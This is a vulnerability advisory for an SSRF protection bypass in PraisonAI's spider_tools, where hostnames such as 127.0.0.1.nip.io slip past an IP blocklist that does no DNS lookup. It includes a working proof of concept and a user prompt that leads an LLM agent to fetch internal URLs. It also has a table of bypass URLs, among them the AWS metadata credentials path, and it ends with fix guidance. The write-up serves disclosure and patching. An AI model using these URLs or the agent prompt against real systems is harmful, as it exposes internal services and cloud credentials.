CVE-2026-55526: PraisonAI: SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
Summary
praisonaiagents/tools/spidertools.py contains an SSRF protection bypass. The function hostisblocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.
This has been confirmed with a live exploit: scrapepage("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.
scrapepage, extractlinks, crawl, and extracttext are all registered as LLM-callable agent tools (see tools/init.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.
This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to webcrawltools.py (line 231: socket.gethostbyname call), but that fix was not ported to spidertools.py.
Details
Root cause — spidertools.py lines 26-65:
python def hostisblocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return ipblocked(ipaddress.ipaddress(host)) except ValueError: pass try: return ipblocked(ipaddress.ipaddress(socket.inetaton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup
socket.inetaton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ipaddress() and socket.inetaton() raise exceptions, and the function returns False (not blocked).
Contrast with the fixed version in webcrawltools.py line 228-238:
python if os.environ.get("ALLOWLOCALCRAWL") != "true": try: ipstr = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast: continue # BLOCKED except socket.gaierror: continue # fail-closed
Tool registration confirms this is user-reachable:
python praisonaiagents/tools/init.py lines 51-55 TOOLMAPPINGS = { 'scrapepage': ('.spidertools', None), # <- user-reachable LLM tool 'extractlinks': ('.spidertools', None), 'crawl': ('.spidertools', None), 'extracttext': ('.spidertools', None), ... }
Any agent given these tools will call scrapepage(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.
PoC
Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)
Step 1 — Verify the filter bypass (no network needed):
python from praisonaiagents.tools.spidertools import SpiderTools, hostisblocked
nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(hostisblocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools().validateurl("http://127.0.0.1.nip.io/")) # True — ALLOWED print(hostisblocked("127.0.0.1")) # True — correctly blocked
Expected output: False True True
Step 2 — Full SSRF: internal service response exfiltrated
python import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spidertools import SpiderTools
PORT = 19235 received = []
class InternalService(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b'{"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def logmessage(self, a): pass
threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serveforever, daemon=True ).start() time.sleep(0.2)
attackurl = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
Filter allows it assert SpiderTools().validateurl(attackurl) is True # passes
HTTP request actually reaches 127.0.0.1 r = requests.get(attackurl, timeout=5) print("STATUS:", r.statuscode) # 200 print("BODY: ", r.text) # {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json']
Observed output: STATUS: 200 BODY: {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json']
Step 3 — Agent-level trigger (how a user triggers this in production):
python from praisonaiagents import Agent from praisonaiagents.tools import scrapepage
agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrapepage], )
Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") Agent calls scrapepage("http://127.0.0.1.nip.io:8080/admin") Request hits 127.0.0.1:8080/admin Internal admin panel content returned to attacker print(result)
Additional bypass URLs (no setup required):
| Target | URL | |--------|-----| | Localhost | http://127.0.0.1.nip.io/ | | Private network | http://10.0.0.1.nip.io/ | | AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |
Impact
What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.
Who is impacted: Anyone deploying PraisonAI agents that include scrapepage, extractlinks, crawl, or extracttext tools and accept user-supplied URLs. This includes:
- Web research agents (the primary intended use case for spider tools) - Jobs API users — any authenticated API caller who submits jobs with agentyaml specifying spider tools - Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.
Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to webcrawltools.py but was missed in spidertools.py, creating an exploitable inconsistency.
---
Remediation Suggestion (for maintainers)
One-line fix in hostisblocked() — mirror what webcrawltools.py already does:
python After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return ipblocked(ipaddress.ipaddress(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked
Other sources
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, spidertools.hostisblocked() does not resolve ordinary hostnames before scrapepage fetches them. A hostname such as 127.0.0.1.nip.io passes validation and resolves to loopback, permitting internal HTTP access. The fix uses socket.getaddrinfo and fails closed on DNS errors. This issue is fixed in version 1.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.58 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 1.6.58 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch 004dcfef - Configuration
Mirror the DNS resolution + fail-closed logic already implemented in praisonaiagents/tools/web_crawl_tools.py (around lines 231-238): resolve the hostname (e.g., with socket.gethostbyname or socket.getaddrinfo), convert the resolved value to an IP, and block if it is loopback/private/link-local/multicast (and apply the existing ALLOW_LOCAL_CRAWL guard). Unresolvable hostnames must be blocked (return False). This prevents bypasses like http://127.0.0.1.nip.io/:PORT.
spider_tools._host_is_blocked() in praisonaiagents/tools/spider_tools.py DNS resolution behavior for hostnames = Perform DNS resolution using socket.gethostbyname (socket.getaddrinfo) and apply the blocklist to the resolved IP; fail-closed on DNS errors
Event History
Frequently Asked Questions
Which deployments are exposed to this bypass?
Deployments are exposed when an agent can invoke the spider_tools functions scrape_page, extract_links, crawl, or extract_text against a user-supplied URL. These functions are registered as LLM-callable agent tools.
What does an attacker need to exploit it?
An attacker needs to cause the agent to fetch a URL they control or supply. They can use a hostname that resolves to a private or loopback address, such as 127.0.0.1.nip.io, without operating attacker-controlled DNS infrastructure.
What internal resources can be reached?
The vulnerable request path can reach services accessible from the agent's environment through private or loopback-resolving hostnames. A confirmed example retrieved a response from a service at 127.0.0.1:PORT.
Is the issue limited to encoded IP-literal bypasses?
No. The prior fix addressed IP-literal encoding tricks such as hexadecimal, octal, and backslash forms, but spider_tools.py did not resolve hostnames before applying its blocklist. This allows DNS-resolved hostnames to bypass the checks.
Is there evidence of a corrected release?
The provided references include commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 and the v4.6.58 release tag. The advisory identifies spider_tools.py as the missing DNS-resolution fix path, while web_crawl_tools.py already contained a socket.gethostbyname call.